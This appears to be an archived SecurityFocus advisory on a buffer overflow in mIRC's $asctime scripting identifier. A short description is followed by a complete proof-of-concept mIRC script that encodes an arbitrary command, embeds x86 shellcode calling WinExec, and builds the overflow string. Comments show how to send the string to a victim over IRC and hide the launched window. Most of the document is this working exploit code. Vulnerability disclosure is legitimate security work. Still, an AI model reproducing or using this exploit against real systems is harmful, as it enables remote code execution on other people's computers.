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2.5 KiB
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51 lines
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2.5 KiB
Text
source: https://www.securityfocus.com/bid/5576/info
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mIRC is a chat client for the IRC protocol, designed for Microsoft Windows based operating systems. mIRC includes support for a scripting language.
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A buffer overflow vulnerability has been reported in the $asctime identifier, a function in the mIRC scripting language. The error lies in the handling over oversized format specifier strings.
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Exploitation will rely on a script passing untrusted input to this function. Reportedly, no such script is included in the default installation of mIRC.
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; Proof of concept Code for asctime exploit
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; Author: James Martin
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; Website: http://www.uuuppz.com
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; Email: me@uuuppz.com
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;
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; Usage:
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; /asctime_poc notepad c:\autoexec.nat
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; /asctime_poc command.com /c echo Your have been rooted > c:\rooted.txt
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; etc :)
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;
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;
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/asctime_poc {
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; Set Show State
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;
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; Valid Values:
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; 1 - Show Normal (This will break a ctcp request)
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; 2 - Minimise (If your being evil... ;))
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; 3 - Maximise
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set %showstate 2
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; Build Coded Command String
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set %command $1-
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set %count 1
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unset %codedcommand
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:loop
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set %codedcommand %codedcommand $+ $chr($calc(128+$asc($mid(%command, %count, 1))))
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set %count $calc( %count + 1)
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if %count <= $len(%command) goto loop
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; Shell Code to Execute
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;
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; Detects mirc version, decodes the command string then calls winexec
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set %shellcode $chr(184) $+ PPP $+ $chr(255) $+ $chr(193) $+ $chr(224) $+ $chr(8) $+ $chr(193) $+ $chr(232) $+ $chr(8) $+ f $+ $chr(139) $+ $chr(24) $+ f $+ $chr(129) $+ $chr(251) $+ $chr(220) $+ qu $+ $chr(7) $+ $chr(184) $+ $chr(250) $+ $chr(253) $+ $chr(5) $+ $chr(255) $+ $chr(235) $+ $chr(19) $+ f $+ $chr(129) $+ $chr(251) $+ $str($chr(255),2) $+ u $+ $chr(7) $+ $chr(184) $+ $chr(190) $+ $chr(187) $+ $chr(4) $+ $chr(255) $+ $chr(235) $+ $chr(5) $+ $chr(184) $+ $chr(210) $+ $chr(129) $+ $chr(4) $+ $chr(255) $+ 5PPP $+ $chr(255) $+ $chr(235) $+ $chr(30) $+ Yj $+ $chr( %showstate ) $+ QIA $+ $chr(128) $+ 9 $+ $chr(255) $+ u $+ $chr(2) $+ $chr(235) $+ $chr(5) $+ $chr(128) $+ 1 $+ $chr(128) $+ $chr(235) $+ $chr(243) $+ $chr(128) $+ 1 $+ $chr(255) $+ $chr(255) $+ $chr(208) $+ ]]] $+ $chr(139) $+ $chr(229) $+ ] $+ $chr(195) $+ $chr(232) $+ $chr(221) $+ $str($chr(255),3)
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; Build Exploit String
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set %exploitstring %shellcode $+ %codedcommand $+ $chr(255) $+ $str(a, $calc(300-2- $len(%command))) $+ q $+ $chr(17) $+ $chr(64)
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; Run exploit string
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;
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; In the real world it would be more like
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; /msg muppet weirdcommand %exploitstring
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echo 1 $asctime(%exploitstring)
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} |